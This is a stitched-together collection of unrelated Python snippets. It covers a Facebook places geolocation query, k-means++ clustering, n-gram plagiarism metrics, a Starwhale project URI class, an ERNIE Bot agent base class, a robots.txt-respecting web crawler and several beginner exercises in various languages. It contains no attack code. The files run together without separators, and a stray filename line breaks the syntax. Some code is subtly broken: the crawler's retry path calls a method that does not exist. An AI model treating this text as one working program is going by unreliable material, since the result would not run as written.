"""
Querying by location and extract data location
"""

def places_by_query(bfShp, epsgIn, keyword=None, epsgOut=4326,
                    _limit='100', onlySearchAreaContained=True):
    """
    Get absolute location of facebook data using the Facebook API and
    Pandas to validate data.

    Works only for the 'places' search type

    buffer_shp cloud be a shapefile with a single buffer feature
    or a dict like:
    buffer_shp = {
        x: x_value,
        y: y_value,
        r: dist
    }

    or a list or a tuple:
    buffer_shp = [x, y, r]
    """

    import pandas
    from geopandas               import GeoDataFrame
    from shapely.geometry        import Polygon, Point
    from glass.prop.feat.bf      import getBufferParam
    from glass.acq.dsn.fb.search import by_query

    search_type = 'place'

    x_center, y_center, dist = getBufferParam(bfShp, epsgIn, outSRS=4326)

    data = by_query(
        search_type, keyword=keyword,
        x_center=x_center, y_center=y_center, dist=dist,
        limit=_limit, face_fields=[
            "location", "name", "category_list", "about",
            "checkins", "description", "fan_count"
        ]
    )

    try:
        if not data:
            # Return NoData
            return 0
    except:
        pass

    # Sanitize category_list field
    data = pandas.concat([
        data.drop(["category_list"], axis=1),
        data["category_list"].apply(pandas.Series)
    ], axis=1)

    _int_cols = [
        c for c in data.columns.values if type(c) == int
    ]
    __int_cols = {
        x : "col_{}".format(str(x)) for x in _int_cols
    }
    data.rename(columns=__int_cols, inplace=True)
    data.rename(columns={"id" : "id_1", "name" : "name_1"}, inplace=True)

    for k in __int_cols:
        data = pandas.concat([
            data.drop([__int_cols[k]], axis=1),
            data[__int_cols[k]].apply(pandas.Series)
        ], axis=1)

        data.rename(columns={
            'id' : 'id_' + str(k+2),
            'name' : 'name_' + str(k+2)
        }, inplace=True)

        if 0 in list(data.columns.values):
            data.drop([0], axis=1, inplace=True)

    # Pandas dataframe to Geopandas Dataframe
    geoms = [Point(xy) for xy in zip(data.longitude, data.latitude)]
    data.drop(["latitude", "longitude"], axis=1, inplace=True)
    gdata = GeoDataFrame(data, crs='EPSG:4326', geometry=geoms)

    if onlySearchAreaContained:
        from shapely.wkt             import loads
        from glass.prj.obj           import prj_ogrgeom
        from glass.gp.prox.bfing.obj import xy_to_buffer

        # Check if all retrieve points are within the search area
        _x_center, _y_center, _dist = getBufferParam(
            bfShp, epsgIn, outSRS=3857
        )

        search_area = xy_to_buffer(
            float(_x_center), float(_y_center), float(_dist)
        )
        search_area = prj_ogrgeom(search_area, 3857, 4326)
        search_area = loads(search_area.ExportToWkt())

        gdata["tst_geom"] = gdata["geometry"].intersects(search_area)
        gdata = gdata[gdata["tst_geom"] == True]

        gdata.reset_index(drop=True, inplace=True)

    # Sanitize id
    gdata["fid"]     = gdata["id_1"]
    gdata["fb_type"] = search_type

    __DROP_COLS = ["id_1", "city", "country", "street", "zip", "located_in"]
    DROP_COLS = [c for c in __DROP_COLS if c in gdata.columns.values]
    if onlySearchAreaContained:
        DROP_COLS.append("tst_geom")

    gdata.drop(DROP_COLS, axis=1, inplace=True)

    if epsgOut != 4326:
        gdata = gdata.to_crs('EPSG:{}'.format(str(epsgOut)))

    return gdata

def places_to_shp(searchArea, epsgIn, epsgOut, outShp,
                  keyword_=None, onlySearchArea=True):
    """
    Get Locations From Facebook and Write data in a Vetorial
    File
    """

    from glass.wt.shp import df_to_shp

    places = places_by_query(
        searchArea, epsgIn, keyword=keyword_, epsgOut=epsgOut,
        onlySearchAreaContained=onlySearchArea
    )

    try:
        if not places: return 0
    except:
        pass

    df_to_shp(places, outShp)

    return outShp


# complete k-means++
from copy import deepcopy
import matplotlib.pyplot as plt
import numpy as np
#load data
data = np.loadtxt('Downloads/mnist_small.txt')
#normalize the data
data=np.divide(data,16)
#distance function
def dist(a, b, ax=1):
    return np.linalg.norm(b - a, axis=ax)
#20 iterations
for k in range(20):
    #initialize the centroids
    center=np.zeros((10,64))
    temp=np.zeros(1797)
    index=np.random.choice(1797)
    center[0]=data[index]
    for i in range(1,10):
        for j in range(1797):
            temp[j]=(np.amin(dist(data[j],center[0:i])))**2
        temp=np.divide(temp,np.sum(temp))
        index=np.random.choice(1797,p=temp)
        center[i]=data[index]

    center_old = np.zeros(center.shape)

    clusters = np.zeros(data.shape[0])

    error = dist(center, center_old, None)

    sum=[]

    while error!=0:
        s=0
        #assign each datapoint to cluster
        for i in range (1797):
            distances = dist(data[i], center)
            cluster = np.argmin(distances)
            s=s+distances[cluster]
            clusters[i] = cluster
        sum.append(s)
        center_old = deepcopy(center)
        #re-compute the centroids
        for i in range(10):
            points = [data[j] for j in range (1797) if clusters[j] == i]
            if len(points)!=0:
                center[i] = np.mean(points, axis=0)
        error=dist(center, center_old, None)

    x=range(len(sum))
    plt.plot(x,sum)

plt.savefig('Downloads/kmeans++ distortion')
plt.show()

#center=center*16
#plt.gray()
#for i in range(10):
#    plt.imshow(center[i].reshape(8,8))
#    plt.savefig('Downloads/centroid_++(%d).png' % i)
#    plt.show()


##Richard Weaver
##01/03/2022

# Function to reformat a string based on specified character length.
def text_to_lines (text, max_length):
    total_count= 0
    output_text = ""
    space = " "
    word_list = text.split()

    # For Loop iterating over each word in list
    for word in word_list:
        # print(word)
        word_length = len(word)
        if total_count + word_length +1 <= max_length:
            output_text += word
            output_text += space
            total_count += word_length +1     # +1 for the spaces after words?
        else:
            output_text = output_text.strip(" ")
            output_text += "\n"
            output_text += word
            output_text += space
            total_count = 0
            spaces_count = 0
            total_count += len(word)
    # Outputting new text and stripping final space from last line.
    output_text = output_text.strip(" ")
    return(output_text)

# Test Cases
test_text1 = "Row, row, row your boat A Gently down the stream BC. Row, row, row your boat. Gently down the stream."
separate_lines = text_to_lines(test_text1, 25)


from sklearn.feature_extraction.text import CountVectorizer
import numpy as np

def ngram_array(a_text, s_text, n):
    '''
    Calculate an ngram array for an answer and source text

    Arguments:
        a_text: answer text
        s_text: source text
        n     : choice of n-gram (1 == unigram, 2 == bigram etc)

    Returns:
        ngram array

    Note:   Function created as part of the plagiarism detection project
            for udacities machine learning engineer nanodegree

    '''
    # instantiate an ngram counter
    counts = CountVectorizer(analyzer = 'word',
                             ngram_range = (n,n))

    # create array of n-gram counts for the answer and source text
    # here fit_transform learns the vocabulary dictionary and returns the document term matrix (in sparse format)
    ngrams = counts.fit_transform([a_text, s_text])

    return ngrams.toarray()

def containment(ngram_array):
    '''
    Containment is a measure of text similarity. It is the normalized,
       intersection of ngram word counts in two texts.

    Arguments:
        param ngram_array: an array of ngram counts for an answer and source text.

    Returns: a normalized containment value.

    Note:   Function created as part of the plagiarism detection project
            for udacities machine learning engineer nanodegree
    '''

    # the intersection can be found by looking at the columns in the ngram array
    # this creates a list that holds the min value found in a column
    # so it will hold 0 if there are no matches, and 1+ for matching word(s)
    intersection_list = np.amin(ngram_array, axis=0)

    # optional debug: uncomment line below
    # print(intersection_list)

    # sum up number of the intersection counts
    intersection = np.sum(intersection_list)

    # count up the number of n-grams in the answer text
    answer_idx = 0
    answer_cnt = np.sum(ngram_array[answer_idx])

    # normalize and get final containment value
    containment_val =  intersection / answer_cnt

    return containment_val

# Calculate the ngram containment for one answer file/source file pair in a df
def calculate_containment(a_text, s_text, n):
    '''
    Calculates the containment between a given answer text and its associated source text.
    This function creates a count of ngrams (of a size, n) for each text file in our data.
    Then calculates the containmnet by finding the ngram count for a given answer text,
    and its associated source text, and calculating the normalized intersection of those counts

    Arguments:
        df: a dataframe with columns 'File', 'Task', 'Category', 'Class', 'Text', and 'Datatype'
        n : an integer that defines the ngram size
        answer_filename: a filename for an answer text in the df ex 'g0pB_taskd.txt'

    Return:
        A single containment value that represents the similarity between an answer text and its source text

    Note:   Function created as part of the plagiarism detection project
            for udacities machine learning engineer nanodegree
    '''

    # calculate ngram_array
    ng_array =  ngram_array(a_text, s_text, n)

    # return containment
    return containment(ng_array)

def containment_wrapper(article_pair, n_gram_choice = 20):
    '''
    A wrapper around the calculate_containmnet function that accepts a list as input
    and performs error handling.

    Argument:
        article_pair    : (list) list containing two articles to comparse [articleA, article B]
        n_gram_choice   : an integer that defines the ngram size

    Returns:
        A single containment value that represents the similarity between the two articles
    '''

    try:
        containment = calculate_containment(article_pair[0], article_pair[1], n_gram_choice)
    except:
        print(f"We couldn't calculate the containment for row {article_pair[2]}")
        containment = None
    return containment

# Compute the normalized LCS given an answer text and a source text
def lcs_norm_word(answer_text, source_text):
    '''
    Computes the longest common subsequence of words in two texts; returns a normalized value.
        Arguments:
            answer_text: The pre-processed text for an answer text
            source_text: The pre-processed text for an answer's associated source text
        Returns:
            A normalized LCS value

    Note:   Function created as part of the plagiarism detection project
            for udacities machine learning engineer nanodegree

    '''

    # split text and find length
    A_split = answer_text.split()
    S_split = source_text.split()
    len_A = len(A_split)
    len_S = len(S_split)

    # initialise matrix
    lcs_matrix = np.zeros(shape = (len_S + 1, len_A + 1))

    # populate matrix
    for row in range(len_S):
        for col in range(len_A):
            # check equality of elements
            if A_split[col] == S_split[row]:
                # we have a match: add one to the top left diagonal cell
                lcs_matrix[row + 1, col + 1] = lcs_matrix[row, col] + 1
            else:
                # no match so take max of top and left cells
                lcs_matrix[row + 1, col + 1] = max(lcs_matrix[row + 1, col], lcs_matrix[row, col + 1])

    LCS = lcs_matrix[len_S, len_A]

    LCS_normalized = LCS / len_A

    return LCS_normalized

def lcs_wrapper(article_pair):
    '''
    A wrapper around the lcs_norm_word function that accepts a list as input
    and performs error handling.

    Argument:
        article_pair    : (list) list containing two articles to comparse [articleA, article B]

    Returns:
        A normalized LCS value
    '''

    try:
        LCS_normalized = lcs_norm_word(article_pair[0], article_pair[1])
    except:
        print(f"We couldn't calculate the longest common subsequence for row {article_pair[2]}")
        LCS_normalized = None
    return LCS_normalized


import urllib
from typing import Any, Optional
from functools import lru_cache

import requests

from starwhale.utils.retry import http_retry
from starwhale.base.uri.instance import Instance
from starwhale.base.uri.exceptions import UriTooShortException

class Project:
    id: str
    name: str
    instance: Instance
    path: str = ""

    def __init__(
        self,
        name: str = "",
        uri: Optional[str] = None,
        instance: Optional[Instance] = None,
    ) -> None:
        """

        :param name: When uri belongs to standalone, it is the name. When uri belongs to cloud, name is the id.
        :param uri: project uri, like "local/project/starwhale" "http://127.0.0.1:8000/project/sw:p-1"
        :param instance: instance object, default is the current selected.
        """
        if name and uri:
            raise Exception("name and uri can not both set")
        # init instance
        if "/" in name:
            uri = name
            name = ""
        self.instance = instance or Instance(uri=uri or "")

        if not name:
            # use project name in path, the path must at least contain project/{name}
            p = self.instance.path.split("/")
            if len(p) >= 2 and p[0] == "project":
                name = p[1]
                self.path = "/".join(p[2:])
            elif len(p) == 1:
                # Compatible with features of URI
                name = p[0]

        if not name:
            # use default project
            name = self.instance.info.get("current_project", "")
        if not name:
            raise Exception("can not init project with empty name")
        self.name = name
        # TODO check if project exists for local and remote
        if self.instance.is_cloud:
            # TODO check whether contains namespace in name(like 'sw:project')?
            self.id = (
                self.name
                if self.name.isdigit()
                else str(
                    get_remote_project_id(
                        self.instance.url, self.instance.token, self.name
                    )
                )
            )
        else:
            self.id = self.name

    @classmethod
    def parse_from_full_uri(cls, uri: str, ignore_rc_type: bool) -> "Project":
        """
        Parse project from full uri.
        we do not parse instance and project info from uri less than 5 parts.
        we prefer that users use `dataset copy mnist -dlp project` rather than `dataset copy project/dataset/mnist`.
        the second is difficult to write correctly at once and the semantics are not very clear.
        and the long uri usually copied from the website.
        """
        if "://" in uri:
            no_schema_uri = uri.split("://", 1)[-1]
        else:
            no_schema_uri = uri

        if "//" in no_schema_uri:
            raise Exception(f"wrong format uri({uri}) with '//'")

        parts = no_schema_uri.split("/")
        exp = len("local/project/self/dataset/mnist".split("/"))
        if ignore_rc_type:
            # ignore type in uri like dataset
            exp = exp - 1

        if len(parts) < exp:
            raise UriTooShortException(
                exp, len(parts), f"can not parse project info from {uri}"
            )
        return cls(uri=uri)

    @property
    def full_uri(self) -> str:
        return "/".join([self.instance.url, "project", self.id])

    def __str__(self) -> str:
        return self.full_uri

    def __repr__(self) -> str:
        return f"<Project {self.full_uri}>"

    def __eq__(self, other: object) -> bool:
        if not isinstance(other, Project):
            return False
        return self.full_uri == other.full_uri

@lru_cache(maxsize=None)
@http_retry
def get_remote_project_id(instance_uri: str, token: str, project: str) -> Any:
    resp = requests.get(
        urllib.parse.urljoin(instance_uri, f"/api/v1/project/{project}"),
        headers={
            "Content-Type": "application/json; charset=utf-8",
            "Authorization": token,
        },
        timeout=60,
    )
    resp.raise_for_status()
    return resp.json().get("data", {})["id"]


#retorna se é par
def eh_par(n):
    if n % 2 == 0:
        return True
    else:
        return False

#entra como string
numero = input('digite o numero: ')
#converte para inteiro
numero = int(numero)

if eh_par(numero):
    print (f'{numero} é par')
else:
    print (f'{numero} é impar')


import matrika
import Naloga2

def Minstopnja(mat):
    min = len(mat)
    for i in range(len(mat)):
        m = len(Naloga2.Sosede(mat, i))
        if m < min:
            min = m
    return min

def Maxstopnja(mat):
    max = 0
    for i in range(len(mat)):
        M = len(Naloga2.Sosede(mat, i))
        if M > max:
            max = M
    return max

def Zminstopnjo(mat):
    m = Minstopnja(mat)
    zmin = []
    for i in range(len(mat)):
        if len(Naloga2.Sosede(mat, i)) == m:
            zmin.append(i)
    return zmin

def Zmaxstopnjo(mat):
    M = Maxstopnja(mat)
    zmax = []
    for i in range(len(mat)):
        if len(Naloga2.Sosede(mat, i)) == M:
            zmax.append(i)
    return zmax


# -*- coding: UTF-8 -*-
# by:Caiqiancheng
# Date:2022/9/16

from bin.Generation_cmd import generation
from bin.Generation_gui import generation_ui
from src.common import read_config

def get_start_mode():
    """
    从配置文件获取启动方式
    :return: cmd or gui
    """
    start_mode = read_config("start").get("mode")
    return start_mode

if __name__ == '__main__':
    if get_start_mode() == "cmd":
        generation()
    elif get_start_mode() == "gui":
        generation_ui()


from settings import *

class Sound:
    path = 'sound/'

    def __init__(self, game, btn_name) -> None:
        self.game = game
        self.mixer = self.game.pg.mixer
        self.mixer.init()
        self.file = self.mixer.Sound(self.path + f'{btn_name}.wav')

    def play_sound(self):
        self.file.play()
        self.file.fadeout(BTN_DEACTIVATE_TIME)


# 문제 출처 : https://programmers.co.kr/learn/courses/30/lessons/12906

def solution(arr):
    answer = []
    for i in range(len(arr)):
        if len(answer) == 0:
            answer.append(arr[i])
        elif answer[-1] == arr[i]:
            continue
        else:
            answer.append(arr[i])
    return answer

# def solution(s):
#     a = []
#     for i in s:
#         if a[-1:] == [i]:
#             continue
#         a.append(i)

#     print(a)
#     return a

# solution([4, 4, 4, 3, 3])


import sys

def main():
    nb = int(input())
    arr = list(map(int, input().split()))
    _u = set(arr)
    arr.sort()
    _arr = []
    for i in range(nb):
        el = arr[i]
        if el >= 0:
            break
        if abs(el) in _u and not(abs(el) in _arr):
            _arr.append(abs(el))
    print(len(_arr))
main()

Niveau 3/11 – Exercices d'entraînement du niveau 3/07 - Nombres opposés.py


## creating functions to write the output word file
import pandas as pd

def get_paragraph(paras, text):
        """Return the paragraph where the text resides

        Args:
            paras(document.paragraphs): All the paragraphs in the document
            text (str): The text in the paragraph to match

        """
        for para in paras:
            if text in para.text:
                return para
        raise KeyError("The text cannot be found anywhere in the document")

def move_table_after(table, paragraph):
    tbl, p = table._tbl, paragraph._p
    p.addnext(tbl)

    # paragraph = paragraph_to_precede_new_table  # however you get this paragraph
    # table = document.add_table(...)
    # move_table_after(table, paragraph)

def print_table(table):
    for i in table.rows:
        for j in i.cells:
            print(j.text)

def df_to_table_at_position(document,general_df,position):
    table = document.add_table(general_df.shape[0]+1, general_df.shape[1])
    table.allow_autofit = True
    table.autofit = True
    table.style = 'Table Grid'

    for j in range(general_df.shape[-1]):
        table.cell(0,j).text = general_df.columns[j]

    for i in range(general_df.shape[0]):
        for j in range(general_df.shape[-1]):
            table.cell(i+1,j).text = str(general_df.values[i,j])

    paragraph = get_paragraph(document.paragraphs,position)

    move_table_after(table,paragraph)

def replace_text(paragraph,old_text, new_text):
    inline = paragraph.runs
    for i in range(len(inline)):
        if old_text in inline[i].text:
            text = inline[i].text.replace(old_text, new_text)
            inline[i].text = text


import logging
import math

from .geomsmesh import geompy
from .geomsmesh import smesh

from .putName import putName

def calculePointsAxiauxPipe_a(facesDefaut, centreFondFiss, wireFondFiss, \
                              lenSegPipe, \
                              nro_cas=None):
  """Maillage selon le rayon de courbure du fond de fissure"""

  logging.info('start')

  # Rayon de courbure maximal
  disfond = list()
  for filling in facesDefaut:
    disfond.append(geompy.MinDistance(centreFondFiss, filling))
  disfond.sort()

  texte = "rcourb: {}, lenSegPipe: {}".format(disfond[0], lenSegPipe)
  logging.info(texte)

  # Maillage 1D
  lgmin = lenSegPipe*0.25
  lgmax = lenSegPipe*1.5
  # la déflexion ets la distance maximale entre une arête du maillage et la courbe support
  nbSegQuart = 5 # on veut 5 segments min sur un quart de cercle
  alpha = math.pi/(4*nbSegQuart)
  deflexion = disfond[0]*(1.0 -math.cos(alpha))
  texte = "==> lgmin: {}, lgmax: {}, deflexion: {}".format(deflexion, lgmin, lgmax)
  logging.info(texte)

  meshFondFiss = smesh.Mesh(wireFondFiss)
  putName(meshFondFiss, "wireFondFiss", i_pref=nro_cas)
  algo1d = meshFondFiss.Segment()
  putName(algo1d.GetSubMesh(), "wireFondFiss", i_pref=nro_cas)
  hypo1d = algo1d.Adaptive(lgmin, lgmax, deflexion) # a ajuster selon la profondeur de la fissure
  putName(hypo1d, "Adaptive_wireFondFiss", i_pref=nro_cas)

  is_done = meshFondFiss.Compute()
  text = "calculePointsAxiauxPipe meshFondFiss.Compute"
  if is_done:
    logging.info(text)
  else:
    text = "Erreur au calcul du maillage.\n" + text
    logging.info(text)
    raise Exception(text)

  return meshFondFiss


import abc
import json
from typing import Any, Dict, List, NoReturn, Optional, Tuple, Union, final

from erniebot_agent.agents.base import BaseAgent
from erniebot_agent.agents.callback.callback_manager import CallbackManager
from erniebot_agent.agents.callback.default import get_default_callbacks
from erniebot_agent.agents.callback.handlers.base import CallbackHandler
from erniebot_agent.agents.mixins import GradioMixin
from erniebot_agent.agents.schema import AgentResponse, LLMResponse, ToolResponse
from erniebot_agent.chat_models.erniebot import BaseERNIEBot
from erniebot_agent.file import GlobalFileManagerHandler
from erniebot_agent.file.base import File
from erniebot_agent.file.file_manager import FileManager
from erniebot_agent.memory import Memory, WholeMemory
from erniebot_agent.memory.messages import Message, SystemMessage
from erniebot_agent.tools.base import BaseTool
from erniebot_agent.tools.tool_manager import ToolManager
from erniebot_agent.utils.exceptions import FileError

_PLUGINS_WO_FILE_IO: Tuple[str] = ("eChart",)

class Agent(GradioMixin, BaseAgent[BaseERNIEBot]):
    """The base class for agents.

    Typically, this is the class that a custom agent class should inherit from.
    A class inheriting from this class must implement how the agent orchestates
    the components to complete tasks.

    Attributes:
        llm: The LLM that the agent uses.
        memory: The message storage that keeps the chat history.
    """

    llm: BaseERNIEBot
    memory: Memory

    def __init__(
        self,
        llm: BaseERNIEBot,
        tools: Union[ToolManager, List[BaseTool]],
        *,
        memory: Optional[Memory] = None,
        system_message: Optional[SystemMessage] = None,
        callbacks: Optional[Union[CallbackManager, List[CallbackHandler]]] = None,
        file_manager: Optional[FileManager] = None,
        plugins: Optional[List[str]] = None,
    ) -> None:
        """Initialize an agent.

        Args:
            llm: An LLM for the agent to use.
            tools: A list of tools for the agent to use.
            memory: A memory object that equips the agent to remember chat
                history. If not specified, a new WholeMemory object will be instantiated.
            system_message: A message that tells the LLM how to interpret the
                conversations. If `None`, the system message contained in
                `memory` will be used.
            callbacks: A list of callback handlers for the agent to use. If
                `None`, a default list of callbacks will be used.
            file_manager: A file manager for the agent to interact with files.
                If `None`, a global file manager that can be shared among
                different components will be implicitly created and used.
            plugins: A list of names of the plugins for the agent to use. If
                `None`, the agent will use a default list of plugins. Set
                `plugins` to `[]` to disable the use of plugins.
        """
        super().__init__()
        self.llm = llm
        if isinstance(tools, ToolManager):
            self._tool_manager = tools
        else:
            self._tool_manager = ToolManager(tools)

        if memory is None:
            self.memory = WholeMemory()
        else:
            self.memory = memory

        if system_message:
            self.system_message = system_message
        else:
            self.system_message = self.memory.get_system_message()
        if callbacks is None:
            callbacks = get_default_callbacks()
        if isinstance(callbacks, CallbackManager):
            self._callback_manager = callbacks
        else:
            self._callback_manager = CallbackManager(callbacks)
        self._file_manager = file_manager
        self._plugins = plugins
        self._init_file_needs_url()

    @final
    async def run(self, prompt: str, files: Optional[List[File]] = None) -> AgentResponse:
        """Run the agent asynchronously.

        Args:
            prompt: A natural language text describing the task that the agent
                should perform.
            files: A list of files that the agent can use to perform the task.

        Returns:
            Response from the agent.
        """
        if files:
            await self._ensure_managed_files(files)
        await self._callback_manager.on_run_start(agent=self, prompt=prompt)
        agent_resp = await self._run(prompt, files)
        await self._callback_manager.on_run_end(agent=self, response=agent_resp)
        return agent_resp

    @final
    async def run_tool(self, tool_name: str, tool_args: str) -> ToolResponse:
        """Run the specified tool asynchronously.

        Args:
            tool_name: The name of the tool to run.
            tool_args: The tool arguments in JSON format.

        Returns:
            Response from the tool.
        """
        tool = self._tool_manager.get_tool(tool_name)
        await self._callback_manager.on_tool_start(agent=self, tool=tool, input_args=tool_args)
        try:
            tool_resp = await self._run_tool(tool, tool_args)
        except (Exception, KeyboardInterrupt) as e:
            await self._callback_manager.on_tool_error(agent=self, tool=tool, error=e)
            raise
        await self._callback_manager.on_tool_end(agent=self, tool=tool, response=tool_resp)
        return tool_resp

    @final
    async def run_llm(self, messages: List[Message], **opts: Any) -> LLMResponse:
        """Run the LLM asynchronously.

        Args:
            messages: The input messages.
            **opts: Options to pass to the LLM.

        Returns:
            Response from the LLM.
        """
        await self._callback_manager.on_llm_start(agent=self, llm=self.llm, messages=messages)
        try:
            llm_resp = await self._run_llm(messages, **opts)
        except (Exception, KeyboardInterrupt) as e:
            await self._callback_manager.on_llm_error(agent=self, llm=self.llm, error=e)
            raise
        await self._callback_manager.on_llm_end(agent=self, llm=self.llm, response=llm_resp)
        return llm_resp

    def load_tool(self, tool: BaseTool) -> None:
        """Load a tool into the agent.

        Args:
            tool: The tool to load.
        """
        self._tool_manager.add_tool(tool)

    def unload_tool(self, tool: BaseTool) -> None:
        """Unload a tool from the agent.

        Args:
            tool: The tool to unload.
        """
        self._tool_manager.remove_tool(tool)

    def get_tools(self) -> List[BaseTool]:
        """Get the tools that the agent can choose from."""
        return self._tool_manager.get_tools()

    def reset_memory(self) -> None:
        """Clear the chat history."""
        self.memory.clear_chat_history()

    async def get_file_manager(self) -> FileManager:
        if self._file_manager is None:
            file_manager = await GlobalFileManagerHandler().get()
        else:
            file_manager = self._file_manager
        return file_manager

    @abc.abstractmethod
    async def _run(self, prompt: str, files: Optional[List[File]] = None) -> AgentResponse:
        """Run the agent asynchronously without invoking callbacks.

        This method is called in `run`.
        """
        raise NotImplementedError

    async def _run_tool(self, tool: BaseTool, tool_args: str) -> ToolResponse:
        """Run the given tool asynchronously without invoking callbacks.

        This method is called in `run_tool`.
        """
        parsed_tool_args = self._parse_tool_args(tool_args)
        file_manager = await self.get_file_manager()
        # XXX: Sniffing is less efficient and probably unnecessary.
        # Can we make a protocol to statically recognize file inputs and outputs
        # or can we have the tools introspect about this?
        input_files = file_manager.sniff_and_extract_files_from_list(list(parsed_tool_args.values()))
        tool_ret = await tool(**parsed_tool_args)
        if isinstance(tool_ret, dict):
            output_files = file_manager.sniff_and_extract_files_from_list(list(tool_ret.values()))
        else:
            output_files = []
        tool_ret_json = json.dumps(tool_ret, ensure_ascii=False)
        return ToolResponse(json=tool_ret_json, input_files=input_files, output_files=output_files)

    async def _run_llm(self, messages: List[Message], functions=None, **opts: Any) -> LLMResponse:
        """Run the LLM asynchronously without invoking callbacks.

        This method is called in `run_llm`.
        """
        llm_ret = await self.llm.chat(messages, functions=functions, stream=False, **opts)
        return LLMResponse(message=llm_ret)

    def _init_file_needs_url(self):
        self.file_needs_url = False

        if self._plugins:
            for plugin in self._plugins:
                if plugin not in _PLUGINS_WO_FILE_IO:
                    self.file_needs_url = True

    def _parse_tool_args(self, tool_args: str) -> Dict[str, Any]:
        try:
            args_dict = json.loads(tool_args)
        except json.JSONDecodeError:
            raise ValueError(f"`tool_args` cannot be parsed as JSON. `tool_args`: {tool_args}")

        if not isinstance(args_dict, dict):
            raise ValueError(f"`tool_args` cannot be interpreted as a dict. `tool_args`: {tool_args}")
        return args_dict

    async def _ensure_managed_files(self, files: List[File]) -> None:
        def _raise_exception(file: File) -> NoReturn:
            raise FileError(f"{repr(file)} is not managed by the file manager of the agent.")

        file_manager = await self.get_file_manager()
        for file in files:
            try:
                managed_file = file_manager.look_up_file_by_id(file.id)
            except FileError:
                _raise_exception(file)
            if file is not managed_file:
                _raise_exception(file)


import re
# from urllib.parse import urlparse
# from urllib.parse import urljoin
# from urllib.parse import urldefrag
import urllib
import time
from datetime import datetime
from urllib.robotparser import RobotFileParser
import queue
import random
import socket

import csv
import lxml.html

DEFAULT_AGENT = 'wswp'
DEFAULT_DELAY = 5
DEFAULT_RETRIES = 1
DEFAULT_TIMEOUT = 60

# 链接爬虫
def link_crawler(seed_url, link_regex=None, delay=5, max_depth=-1, max_urls=-1, user_agent='wswp', proxies=None, num_retries=1, scrape_callback=None, cache=None):
    """Crawl from the given seed URL following links matched by link_regex
    """
    # the queue of URL's that still need to be crawled
    crawl_queue = [seed_url]
    # the URL's that have been seen and at what depth
    seen = {seed_url: 0}
    # track how many URL's have been downloaded
    num_urls = 0
    rp = get_robots(seed_url)
    D = Downloader(delay=delay, user_agent=user_agent, proxies=proxies, num_retries=num_retries, cache=cache)
    while crawl_queue:
        url = crawl_queue.pop()
        depth = seen[url]
        # check url passes robots.txt restrictions
        if rp.can_fetch(user_agent, url):
            html = D(url)
            links = []
            if scrape_callback:
                links.extend(scrape_callback(url, html) or [])
            # 避免爬虫陷进
            if depth != max_depth:
                # can still crawl further
                if link_regex:
                    # filter for links matching our regular expression
                    links.extend(link for link in get_links(html) if re.match(link_regex, link))

                for link in links:
                    link = normalize(seed_url, link)
                    # check whether already crawled this link
                    if link not in seen:
                        seen[link] = depth + 1
                        # check link is within same domain
                        if same_domain(seed_url, link):
                            # success! add this new link to queue
                            crawl_queue.append(link)

            # check whether have reached downloaded maximum
            num_urls += 1
            if num_urls == max_urls:
                break
        else:
            print('Blocked by robots.txt:'+ url)

# 下载限速
class Throttle:
    """Throttle downloading by sleeping between requests to same domain
    """

    def __init__(self, delay):
        # amount of delay between downloads for each domain
        self.delay = delay
        # timestamp of when a domain was last accessed
        self.domains = {}

    def wait(self, url):
        domain = urllib.parse.urlparse(url).netloc
        last_accessed = self.domains.get(domain)

        if self.delay > 0 and last_accessed is not None:
            sleep_secs = self.delay - (datetime.now() - last_accessed).seconds
            if sleep_secs > 0:
                time.sleep(sleep_secs)
        self.domains[domain] = datetime.now()

# 下载网页
class Downloader:
    def __init__(self, delay=DEFAULT_DELAY, user_agent=DEFAULT_AGENT, proxies=None, num_retries=DEFAULT_RETRIES, timeout=DEFAULT_TIMEOUT, opener=None, cache=None):
        socket.setdefaulttimeout(timeout)
        self.throttle = Throttle(delay)
        self.user_agent = user_agent
        self.proxies = proxies
        self.num_retries = num_retries
        self.opener = opener
        self.cache = cache

    def __call__(self, url):
        result = None
        # 如果有缓存,不限速
        if self.cache:
            try:
                result=self.cache[url]
            except KeyError:
                pass
            else:
                if self.num_retries > 0 and 500 <= result['code'] < 600:
                    result = None
        if result is None:
            # result was not loaded from cache so still need to download
            self.throttle.wait(url)
            proxy = random.choice(self.proxies) if self.proxies else None
            headers = {'User-agent': self.user_agent}
            result = self.download(url, headers, proxy=proxy, num_retries=self.num_retries)
            if self.cache:
                # save result to cache
                self.cache[url] = result
        return result['html']

    def download(self, url, headers, proxy, num_retries, data=None):
        print('Downloading:', url)
        request = urllib.request.Request(url, data, headers)
        opener = urllib.request.build_opener()
        # 支持代理
        if proxy:
            proxy_params = {urllib.parse.urlparse(url).scheme: proxy}
            opener.add_handler(urllib.request.ProxyHandler(proxy_params))
        try:
            response = opener.open(request)
            html = response.read()
            code = response.code
        except Exception as e:
            print('Download error:', e.reason)
            html = ''
            if hasattr(e, 'code'):
                code = e.code
                if num_retries > 0 and 500 <= code < 600:
                    # retry 5XX HTTP errors
                    return self._get(url, headers, proxy, num_retries - 1, data)
            else:
                code = None
        return {'html': html, 'code': code}

def normalize(seed_url, link):
    """Normalize this URL by removing hash and adding domain
    """
    link, _ = urllib.parse.urldefrag(link)  # remove hash to avoid duplicates
    return urllib.parse.urljoin(seed_url, link)

def same_domain(url1, url2):
    """Return True if both URL's belong to same domain
    """
    return urllib.parse.urlparse(url1).netloc == urllib.parse.urlparse(url2).netloc

# 解析robotx.txt
def get_robots(url):
    """Initialize robots parser for this domain
    """
    rp = RobotFileParser()
    rp.set_url(urllib.parse.urljoin(url, '/robots.txt'))
    rp.read()
    return rp

def get_links(html):
    """Return a list of links from html
    """
    # a regular expression to extract all links from the webpage
    webpage_regex = re.compile('<a[^>]+href=["\'](.*?)["\']', re.IGNORECASE)
    # list of all links from the webpage
    html = html.decode('utf-8')
    return webpage_regex.findall(html)

# 抓取回调的回调类,把得到的数据存到csv表格里
class ScrapeCallback:
    def __init__(self):
        self.writer = csv.writer(open('countries.csv', 'w'))
        self.fields = ('area', 'population', 'iso', 'country', 'capital', 'continent', 'tld', 'currency_code', 'currency_name', 'phone', 'postal_code_format', 'postal_code_regex', 'languages', 'neighbours')
        self.writer.writerow(self.fields)

    def __call__(self, url, html):
        if re.search('/view/', url):

            tree = lxml.html.fromstring(html)
            row = []
            for field in self.fields:
                row.append(tree.cssselect('table > tr#places_{}__row > td.w2p_fw'.format(field))[0].text_content())
            self.writer.writerow(row)

if __name__ == '__main__':
    link_crawler('http://example.webscraping.com/', '/(index|view)', delay=0, num_retries=1,max_depth=1,scrape_callback=ScrapeCallback())
